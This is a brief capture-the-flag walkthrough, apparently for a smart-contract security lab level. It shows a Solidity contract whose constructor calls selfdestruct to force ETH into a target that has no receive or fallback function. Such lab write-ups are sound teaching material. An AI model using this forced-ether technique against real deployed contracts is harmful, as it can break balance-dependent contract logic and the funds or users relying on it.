00Overview
Contracts with no `receive` or `fallback` cannot normally receive ETH. However, `selfdestruct(target)` bypasses this restriction and forces ETH into the target regardless of its code.
01Deploy and self-destruct a funded contract
javascript
contract ForceAttack {
constructor(address payable target) payable {
selfdestruct(target);
}
}
// Deploy with 1 wei — selfdestruct fires in constructor02Level Completed
